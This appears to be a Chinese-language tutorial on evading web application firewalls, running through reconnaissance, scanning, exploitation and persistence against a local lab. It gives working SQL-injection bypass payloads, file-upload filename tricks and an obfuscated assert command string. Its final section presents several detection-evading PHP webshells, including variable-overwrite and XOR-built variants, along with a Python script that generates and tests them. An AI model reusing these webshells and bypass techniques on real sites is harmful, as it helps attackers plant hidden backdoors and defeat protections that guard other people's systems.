Bootstrap

Waf攻防-信息收集&漏洞发现&漏洞利用&权限控制

目录

WAF的介绍

1、什么是WAF

2、WAF的分类

软件型WAF

硬件型WAF

云 WAF

网站内置的WAF

3、WAF的判断

WAF的绕过 

1、信息收集

介绍

信息收集常见检测

信息收集绕过waf的常见方法

信息收集-工具扫描-Awvs&Xray&Goby内置

2、漏洞发现

3、漏洞利用-SQL&文件上传&命令执行

SQL注入

文件上传

命令执行 

4、权限控制 

脚本后门控制原理

代码-脚本后门免杀变异-覆盖&传参


WAF的介绍

1、什么是WAF

Web Application Firewall(web应用防火墙),一种公认的说法是“web应用防火墙通过执行一系列针对HTTP/HTTPS的安全策 略来专门为web应用提供保护的一款产品。

WAF思路:用户在对网站进行访问的时候,在入口方向进行了检测,当WAF检测到入口方向的流量异常直接进行拦截。

2、WAF的分类

软件型WAF

以软件的形式安装在服务器上面,可以接触到服务器上的文件,因此就可以检测服务器上是否有webshell,是否有文件被创建等。

通俗理解:个人或是小公司区开设相应的web应用站点,需要得到防护时大部分会使用的一种方案,就是软件waf。将软件安装到服务器进行保护。

硬件型WAF

以硬件形式部署在链路中,支持多种部署方式。当串联到链路上时可以拦截恶意流量,在旁路监听模式时只记录攻击但是不进行拦截。

通俗理解:企业或是单位去购买一些安全公司的安全设备(大部分为硬件),然后再机房进行实施

云 WAF

一般以反向代理的形式工作,通过配置后,使对网站的请求数据优先经过WAF主机,在WAF主机对数据进行过滤后再传给服务器

通俗理解:当在阿里云或者其他地方够买服务器时,阿里云平台会在内部部署云waf,对服务器进行保护

网站内置的WAF

就是来自网站内部的过滤,直接出现在网站代码中,比如说对输入的参数强制类转换啊,对输入的参数进行敏感词检测啊什么的。

3、WAF的判断

通过以下链接看图识别即可

常见WAF拦截页面

WAF的绕过 

WAF绕过主要集中在信息收集,漏洞发现,漏洞利用,权限控制四个阶段。

1、信息收集

介绍

在信息收集中被分为主动和被动扫描,waf通常会对出口(部分有)和入口进行检测。

主动扫描:利用工具进行扫描,会接触到waf

                  扫描工具:Sqlmap、Awvs、Goby等

被动扫描:利用黑暗引擎或者其他接口等,不会接触waf

                  黑暗引擎:Fofa Quake Shodan zoomeye 0.zone等

信息收集常见检测

1、脚本或工具速度流量快

2、脚本或工具的指纹被识别

3、脚本或工具的检测Payload

信息收集绕过waf的常见方法

1、延迟:解决请求过快封IP的情况---当利用工具访问速度过快时,waf检测到将IP封住不让其访问,那么可以利用7kbscan、Awvs或者隧道代理配置访问的速度和时间从而进行绕过。

2、代理池:在确保速度的情况下解决请求过快封IP的拦截----在控制访问速度的情况下配合proxifier或者相同功能的工具(配置代理规则让工具的数据包跑到prox中,并设置隧道代理的地址和接口)工具进行代理---此时网站拦截的都是不同代理IP,与本机没有任何关系

3、白名单:模拟白名单模拟WAF授权测试,解决速度及测试拦截----部分waf中会设置官方浏览器的白名单,那么可以UA头处模仿浏览器爬虫UA头使其误以为是官方爬虫,从而进行绕过(安全狗有默认设置存在该漏洞)

4、模拟用户:模拟真实用户数据包请求探针,解决WAF指纹识别----利用python脚本编写数据包信息模拟正常用户进行爬虫

信息收集-工具扫描-Awvs&Xray&Goby内置

Awvs-设置速度&加入代理----配置访问速度&设置代理服务器&配置UA头

访问速度配置:

 

UA头配置:

 

代理配置:

 

 

Xray-主被动扫描&进程转发---prox 

主动扫描---很轻松理解不在多说:.\xray_windows_amd64.exe webscan --basic-crawler http://xx/ --html-output tomcat.html

被动扫描---利用工具进行代理扫描:.\xray_windows_amd64.exe webscan --listen 127.0.0.1:7777 --html-output app.html

被动扫描举例-Xray设置监听端口进行被动扫描:

xray目录下设置被动扫描并指定ip和端口,启动处于监听状态

 

当打开app或者某个网页时,burp接受数据,xray进行被动扫描 

 

prox配置:配置文件----代理规则----添加即可

 

Goby-配置加入Socket代理

 

 

2、漏洞发现

漏洞发现的绕过与信息收集类似,简单概括

#Awvs漏扫-Sadedog-白名单-内置

加入白名单扫描,防Safedog拉黑IP

#Awvs漏扫-BT&Aliyun-代理池-内置

加入代理池扫描,防BT或Aliyun拉黑IP

#Xray漏扫-BT&nAliyu-Proxifier-进程

加入代理池扫描,防BT或Aliyun拉黑IP

#Goby漏扫-BT&Aliyun-Socket5-内置

加入代理池扫描,防BT或Aliyun拉黑IP

3、漏洞利用-SQL&文件上传&命令执行

SQL注入

1、关键字替换---利用like代替and或者or进行判断注入点

68.0.100:8081/sqlilabs/Less-2/?id=1192.168.0.100:8081/sqlilabs/Less-2/?id=168.0.100:8081/sqlilabs/Less-2/?id=1 like 1

http://192.168.0.100:8081/sqlilabs/Less-2/?id=1192.168.0.100:8081/sqlilabs/Less-2/?id=1http://192.168.0.100:8081/sqlilabs/Less-2/?id=1 like 12

 

2、更换提交方式---POST提交&加密

传递数据-------利用burp将数据改为post传参

传递数据-------利用burp将数据改为post传参同时进行加密

 

 3、HPP参数污染--部分中间件只会接受url语句中的最后一个值,但是安全狗会接受所有的值,那么利用该特点进行绕过

举例:id=1/**&id=-1%20union%20select%201,2,3%23*/ -----Waf会误以为id=1后面的内容为注释不会进行拦截,如果中间件只解析最后一个值那么解析内容为id=-1%20union%20select%201,2,3%23*/,可以正常进行注入

 

文件上传

filename=a.php-------上传文件时去掉双引号,让waf误以为文件是参数名

filename="a.php%00"-----%00干扰

垃圾数据;filename="a.php"--------利用分号写出大量数据,因为waf匹配数据存在封顶,可以利用大量数据进行溢出从而绕过

无限filename;filename="a.php"filename=="a.php"--------重复写多个filename进行绕过

filename="name='uploadfile.php"-------参数模拟,利用数据包的中的某些数据修改为文件名,从而进行干扰

filename="Content-Disposition: form-data.php"------参数模拟,利用数据包的中的某些数据修改为文件名,从而进行干扰

filename=="a.ph

p"                                                      -----对文件名利用换行、双等或是三等号进行绕过,让waf误以为是进行比较而不是上传文件

 

 

命令执行 

举例:txt=$y=str_replace('x','','pxhpxinxfo()');assert($y);

因为过滤了phpinfo(),那么对该命令写入其他字母对waf进行干扰,在利用替代的方法删除多余字母,并利用assert执行。

 

4、权限控制 

脚本后门控制原理

对比工具代码-菜刀&蚁剑&冰蝎&哥斯拉等

代码-脚本后门免杀变异-覆盖&传参

1.php 传参带入

解释:a传递参数ass,$aa就为assert,assert与eval函数相同,最后后门代码被调用,传递数据时对数据进行加密并利用代码解密,为了防治对执行的参数进行过滤

<?php

$a=$_GET['a'];

$aa=$a.'ert';

$aa(base64_decode($_POST['x']));

?>

2.php 变量覆盖

解释:1传递值b,2传递值assert,那么$a为b,$$a=$b=assert,后门脚本生成,传递数据时对数据进行加密并利用代码解密,为了防治对执行的参数进行过滤

<?php

$a=$_GET['1'];

$b=$_GET['2'];

$$a(base64_decode($_POST['x']));

?>

3.php 加密变异-----对文件进行加密,直接访问即可

PHP文件在线加密平台

4.php 异或运算

'!' '^' '@'经过异或运算之后结果为a,与后面形成assert,执行后门。或者是每个字母都进行异或运算最后形成执行函数

<?php $a=('!'^'@').'ssert';$a($_POST[x]);?> 

利用下面代码可以获取异或运算的结果 

import requests

import time

import threading,queue

def string():

    while not q.empty():

        filename=q.get()

 url = 'http://127.0.0.1:8081/x/' + filename

 datas = {

            'x': 'phpinfo();'

        }

 result = requests.post(url, data=datas).content.decode('utf-8')

        if 'XIAODI-PC' in result:

            print('check->'+filename+'->ok')

        else:

            print('check->'+filename+'->no')

 time.sleep(1)

def shell_test_check():

    url='http://127.0.0.1:8081/x/33xd64.php'

 datas={

        'x':'phpinfo();'

    }

 result=requests.post(url,data=datas).content.decode('utf-8')

    print(result)

    if 'XIAODI-PC' in result:

        print('ok')

if __name__ == '__main__':

 q=queue.Queue()

    for i in range(1, 127):

        for ii in range(1, 127):

            payload = "'" + chr(i) + "'" + '^' + "'" + chr(ii) + "'"

 code = "<?php $a=(" + payload + ").'ssert';$a($_POST[x]);?>"

 filename = str(i) + 'xd' + str(ii) + '.php'

 q.put(filename)

 with open('D:/phpstudy/PHPTutorial/WWW/x/' + filename, 'a') as f:

 f.write(code)

 f.close()

                print('Fuzz文件生成成功')

    for x in range(20):

        t=threading.Thread(target=string)

 t.start()

 

;